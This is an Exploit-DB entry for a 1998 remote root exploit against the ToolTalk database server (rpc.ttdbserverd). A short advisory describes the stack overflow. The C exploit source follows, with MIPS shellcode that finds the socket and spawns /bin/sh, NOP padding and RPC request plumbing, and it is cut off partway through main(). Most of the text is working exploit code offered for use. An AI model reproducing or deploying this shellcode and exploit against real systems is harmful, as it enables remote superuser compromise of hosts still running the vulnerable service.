Exploit-DB #19102
Description: Xi Graphics Maximum CDE 1.2.3/TriTeal TED CDE 4.3/Sun Solaris 2.5.1 - ToolTalk RPC Service Overflow (2)
Type: remote
Platform: unix
Date: 1998-08-31
Author: NAI research team

Exploit:
// source: https://www.securityfocus.com/bid/122/info
 
An implementation fault in the ToolTalk object database server allows a remote attacker to run arbitrary code as the superuser on hosts supporting the ToolTalk service. The affected program runs on many popular UNIX operating systems supporting CDE and some Open Windows installs.
 
The ToolTalk service allows independently developed applications to communicate with each other by exchanging ToolTalk messages. Using ToolTalk, applications can create open protocols which allow different programs to be interchanged, and new programs to be plugged into the system with minimal reconfiguration.
 
The ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service which manages objects needed for the operation of the ToolTalk service. ToolTalk-enabled processes communicate with each other using RPC calls to this program, which runs on each ToolTalk-enabled host. This program is a standard component of the ToolTalk system, which ships as a standard component of many commercial Unix operating systems. The ToolTalk database server runs as root.
 
Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.
/*## copyright LAST STAGE OF DELIRIUM jul 1998 poland        *://lsd-pl.net/ #*/
/*## rpc.ttdbserverd                                                         #*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define ADRNUM 2000
#define NOPNUM 18000

#define TTDBSERVERD_PROG 100083
#define TTDBSERVERD_VERS 1
#define TTDBSERVERD_ISERASE 7

char findsckcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<findsckcode>  */
    "\x24\x10\x01\x90"       /* li      $s0,400              */
    "\x22\x11\xff\xb0"       /* addi    $s1,$s0,-80          */
    "\x22\x12\xff\xac"       /* addi    $s2,$s0,-84          */
    "\x22\x0d\xfe\x98"       /* addi    $t5,$s0,-360         */
    "\x03\xed\x68\x20"       /* add     $t5,$ra,$t5          */
    "\x01\xa0\xf0\x09"       /* jalr    $s8,$t5              */

    "\x8f\xeb\xff\xc0"       /* lw      $t3,-64($ra)         */
    "\x31\x6b\xff\xff"       /* andi    $t3,$t3,0xffff       */
    "\x21\x6b\x00\x00"       /* addi    $t3,$t3,0            */
    "\x22\x0d\xfe\xc0"       /* addi    $t5,$s0,-320         */
    "\x11\x60\xff\xf9"       /* beqz    $t3,<findsckcode+20> */

    "\x22\x24\xfe\xd4"       /* addi    $a0,$s1,-300         */
    "\x23\xe5\xff\xc0"       /* addi    $a1,$ra,-64          */
    "\x23\xe6\xff\xbc"       /* addi    $a2,$ra,-68          */
    "\xaf\xf2\xff\xbc"       /* sw      $s2,-68($ra)         */
    "\x24\x02\x04\x45"       /* li      $v0,1093             */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "\x22\x31\xff\xff"       /* addi    $s1,$s1,-1           */
    "\x10\xe0\xff\xf3"       /* beqz    $a3,<findsckcode+28> */
    "\x22\x2b\xfe\xd4"       /* addi    $t3,$s1,-300         */
    "\x1d\x60\xff\xf6"       /* bgzt    $t3,<findsckcode+48> */

    "\x22\x04\xfe\x72"       /* addi    $a0,$s0,-398         */
    "\x24\x02\x03\xee"       /* li      $v0,1006             */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "\x22\x24\xfe\xd5"       /* addi    $a0,$s1,-299         */
    "\x22\x05\xfe\x72"       /* addi    $a1,$s0,-398         */
    "\x24\x02\x04\x11"       /* li      $v0,1041             */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "\x22\x10\xff\xff"       /* addi    $s0,$s0,-1           */
    "\x22\x0b\xfe\x72"       /* addi    $t3,$s0,-398         */
    "\x05\x61\xff\xf6"       /* bgez    $t3,<findsckcode+88> */
;

char shellcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"       /* li      $v0,1011             */
    "\x23\xff\x01\x14"       /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"       /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"       /* addi    $a1,$ra,-220         */
    "\xaf\xe4\xff\x10"       /* sw      $a0,-220($ra)        */
    "\xaf\xe0\xff\x14"       /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"       /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "/bin/sh"
;

char cmdshellcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<cmdshellcode> */
    "\x24\x02\x03\xf3"       /* li      $v0,1011             */
    "\x23\xff\x08\xf4"       /* addi    $ra,$ra,2292         */
    "\x23\xe4\xf7\x40"       /* addi    $a0,$ra,-2240        */
    "\x23\xe5\xfb\x24"       /* addi    $a1,$ra,-1244        */
    "\xaf\xe4\xfb\x24"       /* sw      $a0,-1244($ra)       */
    "\x23\xe6\xf7\x48"       /* addi    $a2,$ra,-2232        */
    "\xaf\xe6\xfb\x28"       /* sw      $a2,-1240($ra)       */
    "\x23\xe6\xf7\x4c"       /* addi    $a2,$ra,-2228        */
    "\xaf\xe6\xfb\x2c"       /* sw      $a2,-1236($ra)       */
    "\xaf\xe0\xfb\x30"       /* sw      $zero,-1232($ra)     */
    "\xa3\xe0\xf7\x47"       /* sb      $zero,-2233($ra)     */
    "\xa3\xe0\xf7\x4a"       /* sb      $zero,-2230($ra)     */
    "\x02\x04\x8d\x0c"       /* syscall                      */
    "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
    "/bin/sh -c  "
;

static char nop[]="\x24\x0f\x12\x34";

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    cha